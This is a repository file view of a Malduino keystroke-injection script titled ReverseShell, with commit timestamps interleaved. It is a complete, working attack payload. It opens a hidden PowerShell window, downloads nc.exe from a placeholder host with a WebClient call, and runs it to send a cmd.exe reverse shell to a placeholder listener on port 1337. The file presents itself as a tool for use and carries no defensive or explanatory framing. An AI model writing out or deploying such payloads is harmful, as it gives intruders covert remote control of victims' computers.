MalduinoScripts/ReverseShell(0001.txt)

25 lines
663 B
Plaintext
Raw Normal View History

2019-02-02 00:50:33 +00:00
REM begin a nc reverse shell, must be ready to catch shell at all times
DELAY 1000
GUI r
DELAY 100
STRING powershell
ENTER
DELAY 11000
REM obfuscate the command prompt
STRING powershell.exe -windowstyle hidden
ENTER
DELAY 500
REM begin downloading nc.exe
STRING $c = new-object System.Net.WebClient
ENTER
DELAY 100
2019-02-02 00:52:50 +00:00
STRING $c.DownloadFile("http://YOURHOSTINGBOX/nc.exe",".\Downloads\nc.exe")
2019-02-02 00:50:33 +00:00
ENTER
DELAY 220
REM done with that
REM execute nc.exe with a reverse shell pointed at myself
REM reverse shell must be listening first dipshit
2019-02-02 00:52:50 +00:00
STRING ./Downloads/nc.exe -e C:\Windows\System32\cmd.exe YOURLISTENINGBOX 1337
2019-02-02 00:50:33 +00:00
ENTER
REM thats all folks